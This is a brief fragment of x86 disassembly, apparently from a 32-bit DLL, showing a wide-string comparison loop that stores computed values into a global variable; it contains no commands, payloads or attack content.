rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 8]
xor eax, eax
mov ebx, eax
movzx ecx, word [edi]
cmp cx, word [ebp - 0x38]
jne 0x1001021a
movzx esi, cx
xor ecx, ecx
test si, si
je 0x10010206
cmp word [ebp + eax - 0x38], cx
je 0x10010206
inc ebx
lea eax, [ebx + ebx]
movzx esi, word [eax + edi]
cmp si, word [ebp + eax - 0x38]
je 0x100101eb
mov ecx, dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jae 0x1001021a
imul eax, dword [ebp - 4], 0xe8e1737a
mov dword [0x1003eb44], eax
pop edi
pop esi
pop ebx
test cx, cx
je 0x1001022e
or edx, 0xcbe3ee92
mov dword [0x1003eb44], edx
leave
ret